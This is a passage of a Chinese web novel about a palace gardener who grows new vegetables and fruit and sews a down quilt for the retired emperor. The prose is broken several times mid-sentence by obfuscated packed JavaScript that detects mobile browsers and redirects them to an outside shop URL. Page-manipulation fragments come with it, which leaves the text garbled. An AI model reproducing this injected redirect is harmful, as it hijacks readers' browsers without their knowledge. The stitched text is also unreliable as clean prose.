“是尚寝局刚拿过来的,”年轻的小太监还没出门,他看见这菜不一般,正好把司苑叫来了。 “回丁疱长,这是生菜,今年的新品种。”柳宛东将菜篮子递给丁自清。 “生菜。”丁自清重复着这个名字,名字真不错,听起来和它的样子一样鲜活。“这要怎么吃?炖?炒?要清淡点的吃法。” “白水生菜即可。这生菜本身就带有甘甜清香,只需要将水煮沸,把生菜烫熟,再配以咸味佐料即可。”柳宛东回道。 当时买的种子是奶油生菜,她也不知道奶油生菜怎么吃好,既然是清淡的,索性提了个她知道的减肥菜。 这个菜式直接说到丁自清心坎里了,白水烫菜,料汁单独盛,她怎么没想到呢。 想吃点盐味就直接蘸着料汁吃,不想吃盐味干脆料汁也不用蘸。这绝对是最原始最简单也最清淡的吃法了。 拿出了篮子中的生菜,她看见了生菜下面的一大把油菜,鲜嫩水灵的油菜,看得人心情愉悦。 烧个松蘑油菜最合适了。 接连有了思路,她上下打量了一下来人,“你是新来的司苑吧,这菜是你种的?” “是,卑职宛东。”当了女官的一个好处就是,不用再自称奴婢了。 “不错。” 【上级认可度20/100。】 系统声音再次响起,柳宛东已经习惯了,估计她每升一级官都会需要完成“上级认可”进度条。 * 轩辕朔看着满桌菜色又犯起了难。 她也不是不想吃,就是觉得唇舌沉重,似乎吃什么都太厚重。 勉强吃了两块鱼肉,他的目光停留在一盘松蘑油菜上。松蘑肥嫩,油菜更是水灵,在一众菜肴中显得格外绿。 看得她心情舒爽不少。 筷子轻轻夹起了一块油菜,她吃进嘴里。 “咔擦。”清脆的和牙齿摩擦的声音。鲜嫩的油菜汁水流进嘴里,她轻轻吸吮,比以前吃到的油菜味道更香浓,汁水更丰厚,好吃。 她抬起筷子又夹了一大块油菜。 看她食欲好了一点,谢平章也放下心来,他也跟着夹了一筷子油菜。 “今年不是霜重吗?哪里的油菜长得这样好?” 油菜放进嘴里,一大口青菜嚼得他半天没说话,好吃,比以往的油菜可鲜嫩多了。 他也夹了第二筷子。 此时轩辕朔已经夹了第三口,她甚至都没松蘑,一直在吃油菜。 直到他想要夹第四口的时候,太监在旁边提醒,“皇上,刚刚已经吃了第三口了。” 轩辕朔有点不悦地放下筷子,每盘菜不能吃超过三口,真是太冰冷的规定了。 谢平章也跟着吃了第三口,默默擦了擦嘴,他看到另一道素菜。 一种从未见过的菜一整颗铺展在水中,没错,就是水,没有任何汤底的颜色,那生菜浅绿色,叶子肥肥大大,被热水一烫颜色更浅,像是穿着薄纱的舞男睡在池塘中一般。 他轻轻夹起一瓣生菜叶子,放到轩辕朔的碗中,“这菜怎么之前没有见过?皇上您尝尝。” 轩辕朔也注意到了这道菜,事实上她动筷之前就注意到了,只是迟迟没有吃而已。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987329|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 因为这种绿色实在太显眼了,不像是属于深冬的绿色,让她产生一种看春天雨后嫩草生长的错觉。 将叶片吃进嘴里,很脆的叶子,第一感觉是微微的甘甜,接着是有点微苦。因为是白水煮的青菜,所以没有任何其他味道破坏这菜,只有其原本的味道。 是了,这就是她想要的那种味道,甘中带涩。 轩辕朔缓缓闭上眼睛,她这半个多月来的燥热难耐似乎就是为了等待这样一道菜似的。 仿佛是打开了食欲的大门,她只想要吃更多口更多口这样的菜,实在太有层次了。 吃到第三筷子,他把那一整块叶子夹到碟子中,一小口一小口吃在嘴里,生怕吃完似的。 谢平章看着十分心疼,他得吩咐御膳房,多用这种菜做膳食才行。 * 【恭喜宿主完成“勾起皇上食欲”任务,获得功德500点。】 柳宛东会地路上就听见这样的系统提示音。她知道接下来她得种更多生菜,还要翻出新花样。 柳宛东浇水、捉虫勤恳,很快她又下单了更大更高的塑料大棚骨架和薄膜。 这下好像能够种爬藤蔬菜了。 这个时候,西红柿和豆角都还没有传到青鸾朝,她种得算外来的新奇物种。 选好一块土地,放好爬藤的架子,埋好秧苗,再将原来地里种的韭菜和葱移动一些到这块地上,然后她按着淘宝教程,在翻新过的土地上建了骨架,蒙上了塑料布,只用半天时间就做出了一个微缩版塑料大棚。 柳宛东还从淘宝上购买了许多种菜的书籍,这段时间没事就看如何施肥、如何浇水,怎么除虫、怎样日晒等。 种地有很多讲究,就算她每天研究,也菜刚刚入门而已。 这期间她的生菜广受好评,不仅是皇上爱吃,很多侍修也爱吃,引得诸多公主、皇子们也喜欢上吃,甚至太上皇也要走了几颗。 原本偏僻无人问津的地,白日里也有不少人来观光,甚至还有人帮她捉虫和她聊天。 柳宛东的功德在这期间也缓慢增长着。 时间一晃就来到了两个月后。 她的蔬菜大棚结果了。 豆角和西红柿全都爆架了。 她选择的是东北油豆角,这种豆角宽大肥嫩,很适合炖煮。蒲扇似的小叶片绕满了整个木架子,一眼望过去,绿油油一片。 叶片里面夹杂着沉甸甸的一串串青色带花纹的大豆角,密密麻麻,柳宛东曾经试图蹲在大棚底下看,发现那豆角简直遮天蔽日,旺盛地生长着。 西红柿也爬了藤。真难想象细细的藤上面是怎么结出这么多西红柿的,纯红色,圆滚滚的,四五个一堆四五个一堆地挂在藤上,简直要把秧苗压弯。 每个西红柿都是那么匀称】圆润,红得鲜亮。大大一个,占满大半手掌。 柳宛东看过书籍,知道不能够太早修剪番茄的侧枝,所以她种出来的西红柿量大、颜色深。 “典苑,我挑了几个长势好的,这两天太上皇过寿,咱们是不是也要表示表示?” 孙儒已经对于柳宛东给她的惊喜见怪不怪了。 竹篮里是从未见过的红色果子,看到那抹红色,她这次有点犹豫,“这么艳丽的蔬菜?会不会有毒!” 23.第二十三章 “放心吧,不可能有毒的。”柳宛东还没种彩椒呢,彩椒的颜色可是更靓的。 有了柳宛东的保证,孙儒从篮子里拿出一个西红柿,放到水井旁冲了冲,这红润的果子沉甸甸的,表皮光滑,水珠顺着外皮就全流下了,她轻轻咬了一口。 丰富的汁水直达口腔。 她咕咚吞了一大口,里面的瓤是沙面的,吃起来软硬适中,酸甜可口。 这味道太好了,她以前从来没吃过这么可口的蔬菜! “好好好!咱们到时多种点西红柿。这种蔬菜一定特别受欢迎。” 柳宛东原本手下有大约10名宫人,这些人归她管,帮她种地施肥浇水做些辛苦活计。 孙儒决定按着柳宛东的想法多种点西红柿,又调用了不少人手一起种地。 几天功夫,柳宛东负责的那块地上全都支起了大大小小的塑料大棚,有的种西红柿,有的种生菜,还有的种本土的大葱、韭菜,原来光秃秃的地界现在有了各种各样的遮挡物,透明塑料棚里都是红的绿的颜色鲜亮的蔬菜。 甚至很多平时不路过的宫人都会绕远从这里过,就为了看一看每日大棚里植物的长势。 * 和柳宛东菜地一墙之隔的七公主殿里。 “七殿下!快来吃饭了!”宫女端着盛满饭菜的食盘,走出大厅,却看不见一个人影,“殿下?殿下?怎么又不吃饭?” “我数到十就去找你们了!”七公主轩辕临松站在院子里,用两只嫩嫩的小手捂住眼睛。 她身边两个比她稍微大点的小书童对视一眼,悄悄跑进了旁边的小屋。 “十、九、八、七……三、二、一!” 轩辕临松开始在院子里找人。 院子并不太大,冬天也没有什么茂密的草丛和鲜花,有没有藏人几乎是一目了然。 轩辕临松已经4岁了,她绕着小花园走了半圈,发现这里没人后就站在原地歪着头想了一会。 以她的身高正好能看见旁边的石墙下有一个洞。 她从这个狗洞钻了出来。 钻过墙就是一片新天地。这里有很多大小不一的透明小“房子”,房子里种着各种各样的蔬菜、瓜果。 平日里七公主养在院子里,鲜少来这些果园、菜园,她一下子忘记了捉迷藏的事,注意力全被这些没见过的植物吸引了。 她安静地半蹲着看那鲜绿的生菜,想要用手摸一摸,但却被外面那层塑料膜挡住了手。 她站起来,又往前走了两步,眼前的“房子”可比刚才的大,棚子呈半圆状,一侧还有布做的帘子。 她用力推了推那厚实的帘子,帘子一动不动,于是她只好从最底下的缝隙处钻了进去。 好暖和!蒸腾的热气扑面而来。映入眼帘的是一片红绿相间的果藤! 轩辕临松从没见过这样的植物,绿绿的藤蔓上长着那样鲜红的果实,从下到上满藤都是。 她抬起手轻轻碰了碰离自己最近的那个果子。 “啪嗒”一声,那红色的西红柿就掉了下来。 她赶忙去捡,摔裂的西红柿汁水流到了她的手上。有点粘粘的,她吮吸着手指。 酸酸甜甜的感觉充盈舌尖,是一种从来没有品尝过的味道! 她开始小口吃着这鲜红的果实,这里很热。而手中的果实又很解渴,冰沙一般的口感,简直甜到心里去了。她小口但快速地吃了一个、两个,吃完了第三个的时候突然想起两个书童还在和她捉迷藏呢。 轩辕临松原路从狗洞穿过返回去。 她白皙的小脸上粘着一大片红色,手上衣服上也都是红色的汁水,两个书童见到她这样,都惊慌不已。 “七殿下,您刚才去哪里了?” “这……是不是哪里摔破了?怎么这么多……血?” 轩辕临松毫无感觉,她吃了好吃的东西,心情很是开心,就粲然一笑。 她一张口,白白的牙齿缝里也露出鲜红色,这可把后跑过来的几个宫女吓了一大跳。 “殿下?怎么嘴里这么多……血?” “快去传太医!” * “怎么回事?!”聂如良坐在七公主榻边,生气地问。 殿下跪了一群人,地上是七公主刚刚换下来的衣服,浅蓝色的衣襟上面浸透了一片血红。 太医正在为公主诊治,摸了半天脉,并没有什么大碍。 “七殿下没有受伤,之前喝水较少,津液缺失。今天反而略有好转,最起码嘴唇相较之前没有那么干裂了。” 太医看着脸、手都已经被清理干净的七殿下,又问,“最近殿下饮食如何?排便怎样?” 聂如良听见轩辕临松没什么事就放下心来,用帕子擦了擦汗,听见太医的问题又轻叹了一口气。 “临松不爱吃饭。一日三餐,吃饭的时候满屋子找不到她,能够吃上几口饭已经是谢天谢地了,午饭不吃,下午又会饿,就必须让小厨房加餐,每天吃的毫无规律……今天中午又没吃什么,只喝了一口米汤。” “贵君,七殿下的加膳准备好了。”太监跑过来通传。 “去吧,今天我让小厨房做了桂花糕,你最喜欢的。”聂如良示意宫女将七殿下带下去。 “我不想吃桂花糕。”七殿下坐在床边没有动。 “你平日里最喜欢的,吃都吃不腻的桂花糕?你不想吃了?”聂如良一阵眩晕。 “太医,我怎么感觉这孩子最近胃口更不好了?” 轩辕临松挣扎开太医的手,她指着地上被换下来的衣服,“我要吃那个!” “那衣服都脏了!” “不是衣服!是那个!”轩辕临松摸向衣服,她当时还摘了两个红果果在袖子里呢!怎么一个都没有了? 继续在衣服上摸索,她终于在下摆处摸到了被压成饼的一团西红柿。 她大哭起来。 “这是什么?”聂如良看见那红色的一团饼,突然意识到轩辕临松衣服上的“红血”就出自这里。 “这?”太医从来没见过这样鲜艳的果实,她拿过来一看,果实皮薄肉厚,里面都汁水也红得透亮。 她蘸了一点放进嘴里。 甜丝丝的清凉感瞬间席卷口腔,平日里口干舌燥的她竟然被这味道勾出许多口水来。 “殿下,这是在哪里摘的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002542|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 一行人在七公主的带领下浩浩荡荡走出寝殿,走进院子,走到围墙下,然后通通钻过了狗洞,来到了尚寝局最荒芜的菜地上。 与平日里不同的是,这片菜地现在已经生机勃勃,各种型号的大棚拔地而起,一些比较低矮的小棚里蔬菜的成长状况一目了然,全都非常茂盛鲜嫩,和以往冬天的荒地完全不同。 “那。”七殿下带着众人来到了西红柿种植棚。 帘子撩开,众人全都被眼前的景象惊呆了。 一排排整齐的木架子上长着碧绿的藤蔓,藤蔓上的叶子层层叠叠,最主要的是,上面结的果子又多又大。 一整串全是彤红圆润的果子,个头差不多大小,整整齐齐地排列着。 靠着土壤的颜色更红润,往上一点的果子,应当是还没熟透,青红相交,煞是喜人。 七公主从根部拽了一个西红柿,刚要咬,想到爹爹还没吃,就将鲜红的果子递给聂如良。 聂如良愣怔片刻张开嘴咬了一口这果子。 咬到嘴里是绵绵的沙感,丰富的汁水起初有点酸,接着是甜,混合着一种泥土和青草的味道,他连着咬了好几口,根本停不下来。 “好吃。你们也尝尝。” 得到了贵君的许可,太医、身后的书童、宫女全都手动摘了果子吃了起来。 “这太好吃了!”太医捧着这西红柿,她平日里不入宫的时候喜欢上山挖草药,偶尔遇见枣子和山楂都要拿布兜摘下来,野果已经是很稀罕的东西了。 汁水这么丰富的水果她真是头一回见,她有点心痛地吃着,真想带回家给孙女吃啊。 两个书童也吃起西红柿来,她们两个一开始还有点犹豫,毕竟书上说颜色亮丽的蘑菇都是有毒的,想来果子也是。 不过看殿下和贵君都吃的开心,她们两个索性也吃了起来,果真好吃,三下五除二就吃完一整个,她们又摘了新果子,开心地吃起了第二个。 “呦呵,我看哪来这么大阵仗,原来是贵君啊。给贵君行礼了。”谢平章拎着菜篮子从外面走了进来。 即便位分要比聂如良低了两级,但是谢平章依然不改嚣张的气焰,他上来就是一顿输出,“真没想到农户出身的贵君就是有经验,吃菜不等厨房供应,倒是直接到这里亲自动手了。” “不比弟弟见识多,良宫的风景本君倒是没辉贵卿深入了解,贵卿不也是亲自来菜园了吗?” “我这是为皇上挑选新鲜的生菜,皇上最近喜欢上了开水生菜,我呢也在钻研厨艺,即便是最简单的菜,也要拿开水烫过,这样直接吃对身体不好,是非常凉的……” “看来贵卿对这种果子不感兴趣,那这棚子里的果就全都被本君包了。” 谢平章心中嗤笑,心道这人真是小家子气,自己根本没想和他抢嘛。 “给你。”七殿下白了一个西红柿递给谢平章,露出甜甜的笑容。 “既然是殿下给的,我自然会浅试一下。”谢平章用袖子轻轻擦拭了一下西红柿,张开口咬了一小口。 丰富的汁水溢出来,流入嘴巴,他有点震惊地睁大了眼睛。 这该死的甜美! 24.第二十四章 “这边这边!你们快点去摘这边的!”谢平章指着东侧一排整齐的架子。 “你们去拿那边!赶紧!”聂如良指挥着身边的宫人不甘示弱。 两边像是比赛一样开始在蔬菜大棚里摘西红柿。 “你们在干嘛?”柳宛东和孙儒刚给东侧的棚子浇了水,走到这边棚子就发现怎么乌泱泱一片人? 跟抢劫现场一样。 她们二人仔细一看这带头“抢”的竟然是一位贵君和一位贵卿。 但是菜园里的东西全都有数,不是谁抢就归谁的。 孙儒和柳宛东拿着竹篮和木盆一一把在场所有人手里的西红柿全都收走、点数好后才让大家走,并许诺一定多放西红柿到御膳房。 【您已领取“新增2种新蔬菜”任务,现已增加“生菜”、“西红柿”两种蔬菜,获得功德800点,种植更多蔬果可以获得更多功德呦!请再接再厉!】 【太上皇寿辰在即,种植新的水果为太上皇祝寿即可开启隐藏任务,是否领取?】 柳宛东点击是,寿辰和隐藏任务有什么关联呢,大概率种植的水果是要上供到太上皇那里去的。 太上皇约莫有八十岁了,牙口不太好。 之前各宫都要生菜,消耗得可快,但是太上皇的宫里却十天半月才送过去一次,想必平日里吃得并不多。 那最好种植的水果要比较好入口同时样子比较喜庆的。 柳宛东想了想又在网上下单了。 * 寿辰当日,太上皇轩辕景泽坐在殿上。 她年岁大了,平日里很少出门,顶多就是上午在院子里晒晒太阳。 这次是她八十大寿,她强调多次不要办得太隆重,普通即可。可是今天这么一看,她有点震惊了。 大殿门口张灯结彩,轩辕朔让人从南山移植了一颗不老松到院子里,松叶茂盛,泥土崭新。 殿内两侧全都放上了代表“五谷丰登”的稻谷。 两侧坐席上摆满了鸡鸭鱼肉各类菜肴,盘碗堆叠,相当丰盛。 平日里御膳虽也有上百道,但是真吃到嘴里就那么几道菜,大多数都不会动。所以轩辕景泽默认平日里一大半的菜肴可以糊弄。 这次不一样,这次寿宴不仅仅是皇上和后宫的家宴,更是宴请了诸多前朝的朝臣和她们家中丈夫,甚至连番邦使臣也来参加了。 规格空前,光是鸡就有18种做法。菜品数量更是达到388道。 各位宾客全都端坐在席间。这边饭不断地上着,那边有太监不断通传诸位带来的礼品。 “钦天监呈上白玉麒麟佩一对,祝太上皇福如东海、寿比南山。” “督察院呈冰翠砚台一块,含烟墨一块,祝太上皇松柏长青、祥光满室。” “……”轩辕景泽快要睡着了,礼单好长。 看到底下目光如炬的两位蓝衣使臣。她缓缓动了动腰,继续坐直。 “吐蕃呈黑晶葡萄两斤,祝太上皇松鹤长春、寿福无疆、春秋不老、富贵安康!” 通传太监报上礼物名称,同时殿上两个太监掀开托盘,将那黑晶葡萄呈了上来。 那黑色的葡萄宛如宝石一般,一串串地坠在绿藤上。 冬天想要把这样新鲜的葡萄运送过来并不容易,更何况葡萄可是非常罕见的水果。 所以一呈上来,几乎所有的大臣们全都投以注目礼。 “葡萄!”中书令家的小儿子眼睛紧紧地盯着这葡萄,他有听说过,葡萄这种水果汁水颇多、芳香四溢。 吐蕃的两位使臣自然是昂起头颅,相当自信。 “这青鸾也不像想象中那么富庶,街区上的水果,只有枣子和梨子,实在匮乏。” “我们吐蕃这样物产丰富,却只能被当做青鸾的附属国……” 两个使臣窃窃私语,坐在旁边的光禄寺卿刘韵晴听得一清二楚。 宫廷膳食是光禄寺在负责,她立马在旁边道,“青鸾的茶叶、梨子都是上好的,京城四季分明,青鸾地大物博,不容他人污言秽语。” 两位使臣对视,看着眼前摆放的普通梨子,“我有尝过这梨子,吐蕃也有,并不如吐蕃的甜爽。” 刘韵晴想反驳,奈何那位使臣说得不无道理,确实吐蕃的梨子要比青鸾的更甜,每次进贡,吐蕃的梨子都是优先选进宫里的。 可是,吐蕃只是一个附属小国,竟然口气如此之大。她仔细思考着。 “各桌上‘锦鲤贺寿’草莓果盘一道。” 数十个传菜的宫人们走上大殿中央,一字排开,每个人手中都端着白色的瓷盘。 只见每个盘子上都有八只红色锦鲤造型,鱼肚子是草莓切成一半,扣在盘中,鱼尾巴则是另一半草莓切成8个薄片做成的效果,八只锦鲤围成一圈,中间则是用红纸写了一个“寿”字。 轩辕景泽当了那么久的皇帝,什么山珍还未没见过,但是今天这道果盘她还真是第一次见。 栩栩如生的红色锦鲤让她眼前一亮,平日里没什么胃口的她夹起一块,还没入口就能闻见淡淡的甜香,吃到嘴里,软硬适中,即便她的几个槽牙都掉了,也不影响咀嚼,甜丝丝的草莓很快就化在口中,中和了刚才那些大鱼大肉的荤腥。 轩辕景泽露出满意的微笑,底下轩辕朔看见她的表情,心中惊讶,母亲已经很久没有露出这样的笑容了。着实罕见,看来这次尚寝局献礼有功啊。 刘韵晴之前已经听说尚寝局最近在种新的水果和新的蔬菜,想来这草莓果盘应该就是最新的品种。 于是她轻轻夹起用作鱼肚子的草莓,这草莓纯红色,个头有半个手掌那么大,上面镶嵌着一粒粒小小的籽,切面倒是没有籽,非常红润。 她将草莓放进嘴里,一种酸甜冰凉的感觉直达口腔。 汁水丰盈,味道可口。她简直惊呆了。这世界上竟然有如此鲜甜好吃,却不用吐籽、剥皮的水果吗? 忍住了再夹一个的冲动,她看向旁边的使臣。 两位使臣显然是头一次吃这样的水果,她们两个人先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吐蕃昼夜温差大,她不确定蔬菜大棚有没有用,不过可以先让她们带回去研究一下。 【恭喜宿主完成“种植草莓”任务,现在可以抽取宝箱。】 【恭喜宿主解锁隐藏任务“为附属国带去蔬菜大棚和种子”,奖励功德1000点。】 三个月不到,年节将至。柳宛东负责的地上已经相当多产,宫里不仅吃上了草莓,还有柑橘苹果和各种新鲜蔬菜。 这天,她将来年准备种地各种蔬菜水果的预算交给孙儒,孙儒并未看册子,“你做的我肯定是放心的,只可惜……” 只可惜?柳宛东疑惑。 “只可惜,明年你是无法和我们一起种植了。”孙儒露出痛苦的表情,“你升职了。” 【恭喜宿主升职,当前品阶:从七品(典设),月固定功德值+2000。】 “不是典苑,是典设。以前的一个老典设年头到了,要出宫,正好有个空缺位置,以后你就不种菜了,而是要和床品铺设、清洁洒扫这类活计为伍了。” 25.第二十五章 孙儒恋恋不舍的拽着柳宛东说了好一会话,柳宛东收拾好铺盖卷往肩膀上一扛就跟着管事宫女走出了西侧宫房。 她本以为自己要带着行李走很远呢,结果管事宫女恭恭敬敬帮她提着行李,从房门口往前走了几十步推开了宫房东侧的大门。 “柳典设,典设典苑都住在东侧,我来帮您布置。” 连院子也没出。 孙儒在身后道,“其实咱们住在一个房间里了,只是白日里上班见不到你,我就很难受。” 柳宛东笑出声来,“那咱们晚上见。” 她跟着管事宫女去领新的被褥,宫里的所有衣物、床褥都是发放的,定量配给。 这样的好处是个人不用操心这些,同等级的宫人吃穿用度基本一样。 坏处就是,如果有人想要加床被子、换个衣服基本不可能。因为这里不允许不一样,一切都必须按照严格的宫规来。 管事宫女将褥子铺在榻上,被子叠在一侧,再将荞麦皮的枕头放在被子上便出去了。 其实自打柳宛东穿越过来,她就开始慢慢习惯这种坚硬的床了。 木制的床榻很硬,比以前大学时候集体宿舍住得要硬得多。因为以前在宿舍住的上下铺只是一层木板,这里的床确实实心的一整大块厚木头。 而且宿舍里想铺多厚的褥子都可以,但这里只能铺宫里发放的被褥。 以前在浣衣局的时候只有一层草毡,现在当了女官了,发放时候就多给了一床褥子。 褥子的质量随着品级的提升而提升。 当司苑的时候褥子是中间夹了薄棉的两层粗麻布。 而现在,柳宛东摸了摸刚刚铺好的褥子,棉花层要厚实了一些,粗麻布也变成了细麻布。 有进步有进步。 她再探身摸被子的时候,发现被子却没有什么变化。还是那样的薄、那样的硬。 睡在她隔壁的孙儒看出她的疑惑,“除非是从六品以上,不然下面无论什么品级,都是这种套了棉的薄被。宫里的棉花少,被子里能加点棉花就不错了,晚上咱们都生炭火就好了。” 当天晚上柳宛东和孙儒睡觉的时候,东风把窗户吹开,把炭盆吹熄,孙儒一早醒来被冻得感冒,无法下床,只能躺在榻上。 柳宛东帮孙儒倒了热水,熬了汤药,然后就跟着司设王筑去凤梧宫了。 典设的工作主要是缝制床品以及铺设洒扫之类的活计。 “这被面不好。样子太华丽。” “不要放那么多棉花,”肖嬷嬷看着手里的被子,一阵皱眉。“太上皇身体虚弱,你们放这么多棉花,她夜晚难以翻身,第二天会没精神的。” “还有,被面不要用丝质,太滑了,不保暖……” 肖嬷嬷的要求很多,王筑愁眉苦脸。 “所有的都要大改。被面不能用绸缎,里面不能填充太多棉花……” “还有就是,后天就要改好,这回可不能出错了……” 可是不填充足量的棉花被子是不保暖的。这样太上皇万一冻病了尚寝局要受罚的。 而且年关将至,时间紧迫。每年年底,宫里的各位贵人们都是要换新被子的。 和凤梧宫对接过后,王筑带着好几个典设、宫女连夜开始改被子。 柳宛东抽空照顾着孙儒,迟迟没有去缝纫机那边缝制被罩。 “你怎么回事?”柳宛东再一次从孙儒那回来后,王筑果断拦住她,“你知不知道明天就要带着改好的被子去凤梧宫了?每个典设都要拿出新被子的!你总是往宫房那边跑干什么?” “我明天会拿出新被子的。”柳宛东承诺。 第二天一早,王筑带着四个典设再次来到凤梧宫,肖嬷嬷依旧和上次一样。 “这不行,太硬。” “这不行,花色老,缎面太滑……” “这个太硬。” 末了,她走到柳宛东跟前,看着她手里捧着的薄薄一层被子,叹了口气。“这是新来的典设吗?” 王筑回答说是。 “怎么上一次没把我说的话记在心上?你看看这被子又轻又薄,里面放的是棉花吗?”肖嬷嬷掂了掂柳宛东呈上来的被子。 很轻,很软。她用力一攥,再摊开手,那被子瞬间恢复原状。 “回嬷嬷的话,这是鸭绒被。” “鸭绒被?你是说,这里没有棉花,全是鸭毛?” “是鸭毛,不过嬷嬷放心,这被子的保暖效果绝对不会比棉花差……” “鸭毛?”肖嬷嬷当了这么多年嬷嬷,从来没想过把鸭毛放进被子里,这鸡毛鸭毛简直太侮辱人了,怎么能放进被子里呢?太上皇尊贵的身体怎么能盖鸭毛呢? “这太离谱了!”肖嬷嬷刚要发火,摸着被面又停了下来,柳司设的被面倒是做得极好。 她仔细摸了摸,被面不是丝绸也不是麻布,上面还有细腻的一层磨毛,花色是深蓝碎花,料子扎实,质地柔软。 “这被面是什么料子?”肖嬷嬷不断地用手触摸着被面,总觉得摸不够一样。 “是纯棉布。”柳宛东道。 “棉布?”肖嬷嬷惊讶了,要知道棉布是罕见的东西,只能从天竺那边采购,远隔万水千山。她知道棉布这种面料还是多年前太上皇当政的时候,当时前朝有一个叫张受的女官带领一队人远渡重洋,从天竺那边带回来的。 张受带回来的那块棉布只有几丈长,太上皇做了几件袄子也就用光了,剩下的边角料全做成帕子赏给当时的侍修和孩子们了。 那棉布没有手里握着的这块好,这块更加厚实,也更柔软。太上皇很喜欢这种棉布,只是当时并没有想起用作被面。 她心下一动,真是好料子。只可惜里面的被芯实在太轻。 她又仔细看了看被面,“被子上怎么没有缝棉线?” “这是拉链的被罩,不用棉线将被子和被罩缝起来也能固定住,因为这个被罩的四个角我都缝上了一段线,在套被罩的时候用被罩四角的线绳捆住被芯,被芯就能被固定住了,不会乱跑。” 肖嬷嬷按着柳宛东演示的那样,拉开被罩的拉链,果真见四个被角全被固定好了,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚到大殿的时候,她不小心碰到了石凳上一盆盆栽,这盆栽是一株兰花。春夏开花,冬天光秃秃的,处于休眠状态。 盆栽从石凳上栽下来,泥盆开裂,里面的土全撒出来,兰花的根也露出大半。 肖嬷嬷惊慌不已,这可是太上皇最喜欢的兰花,她这下真是闯了大祸。肯定要狠狠受罚了! “肖嬷嬷。”轩辕景泽在殿上严肃地问。 “是。”肖嬷嬷一个字也不敢多说。 “被子不错,让尚寝局多做一些。去领赏吧。” 肖嬷嬷晕乎乎跟着大太监走到偏殿,“嬷嬷,眼光不错,这次太上皇睡眠好多了,这是赏钱。” “那盆栽……”肖嬷嬷还要问。 “什么盆栽呀,能让太上皇睡得好就是天大的好事,太上皇又怎会追究?” 肖嬷嬷愣了一会,露出笑容。这鸭绒被可真好! 26.第二十六章 前一天的夜里。 陆青钰躺在榻上数星星。 “1、2、3……476、477……1899、1900……” 数了半宿也没把自己哄睡着。 他的失眠更加严重了。 早晨起来的时候,大大的黑眼圈挂在脸上,相当明显。 自从今年年初皇上下令各宫都要节俭后,她把自己平日里睡的床褥撤掉了两床,只剩下一层丝垫。 每天躺在床上就仿佛在上刑一般。 他已经连续失眠小半年了,每天中午躺在座椅上都能睡着,但是真要躺到寝具上去反而失眠。 他拖着疲惫的身体开始翻看后宫中的各类账目。 不一会,他的头就磕在木桌上。“哐!”发出很响亮的一声。 “凤君,休息吧。”大宫女站在一侧很是着急。 陆青钰没有任何动作,他揉了揉头继续看账本。 午餐的时候,皇上突然来了,说要和他一起吃饭。 他兴高采烈地吩咐小厨房煨汤。 “最近母亲用了尚寝局的鸭绒被子,说是效果很好,睡眠的时候感觉又轻又暖,朕也想给你来一套,你睡眠一向浅……” “青钰?”轩辕朔看着头低到汤里去的陆青钰。 “啊啊……啊?”陆青钰本来都要睡着了,听见轩辕朔的声音,连忙抬起头。 “……”轩辕朔抚了抚陆青钰沾上汤汁的头发, “最近辛苦你了,尚寝宫那边做了新的褥子,我差人拿给你。” “皇上,不一起午睡了吗?”陆青钰看着轩辕朔即将出门的背影。 轩辕朔摆了摆手,“等你状态好点吧,你休息吧。” 皇上已经很久很久没来和他一起午睡了,他失落地进了卧房,重新躺在坚硬的寝具上。 寝具好硬,他翻了个身,觉得浑身的骨头都被打了一顿,又是一中午都没睡着。 翌日,她去给太上皇请安,发现太上皇眉飞色舞,神采飞扬。往日的请安全都是走个流程草草了事,近日太上皇倒是存了教育各位的心思,一说起话来就是半个时辰,底下的侍修全都坐不住了才叫人散了去。 太上皇难道是枯木逢春了? 陆青钰坐着轿辇回宫的时候又险些在轿子上睡着。 回到宫里,发现皇上之前说的褥子已经差人送了来。 那褥子简直不像个褥子,是个白色的厚垫子,有一尺厚,纯白色,垫子上全是用细密的针脚缝着的菱格,方方正正的,上面还缝着一块布,上写“席梦思”几个字。 这么厚的垫子,放在寝具上简直会高到房顶上去。 谁家睡觉要这么个庞然大物啊?! 他压根没有碰,他并不打算用这厚垫子。“抬到那边库房里去吧。” 他没想好放在哪,但是皇上赏赐的又不能随意处置,就只好暂存进库房里。 接下来的两天,他依旧没有睡好,因为给皇上送汤时候黑着一整个眼圈,原定的每月十五侍寝,皇上都免了。 他知道皇上是为了他好,但内心不免失落。 想到后宫的那些哥哥弟弟们全都打扮得花枝招展希望能博得皇上青睐,而自己厚重的黑眼圈怎么也盖不住,他不由得一声叹息。 好在□□公主还算健康,他也不奢求什么了。 * 